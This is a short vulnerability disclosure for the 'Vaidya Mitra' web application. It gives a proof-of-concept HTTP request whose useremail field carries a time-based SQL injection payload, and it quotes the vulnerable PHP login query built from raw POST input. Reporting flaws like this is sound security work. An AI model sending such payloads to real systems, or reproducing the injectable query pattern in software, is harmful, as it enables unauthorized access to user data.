Vulnerability Description:

A security vulnerability has been identified in this web application due to the direct inclusion of user-input data into SQL queries, rendering it susceptible to SQL Injection attacks. This vulnerability may enable malicious actors to gain unauthorized access to sensitive information.

Proof of Concept (PoC):

Below is an example of an attack that a malicious actor could execute to exploit this vulnerability.

POST /Vaidya%20Mitra/vm/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0

useremail=test@123.asd'%2b(select*from(select(sleep(5)))a)%2b'&userpassword=test

In this example, the payload appended to the useremail parameter aims to execute a sleep function, intentionally delaying the server’s response time. Real-world attacks could involve more malicious operations.

Request - Response foto

Vulnerable code section:


/Vaidya%20Mitra/vm/login.php
$email = $_POST['useremail'];
$password = $_POST['userpassword'];

$result = $database->query("select * from webuser where email='$email'");
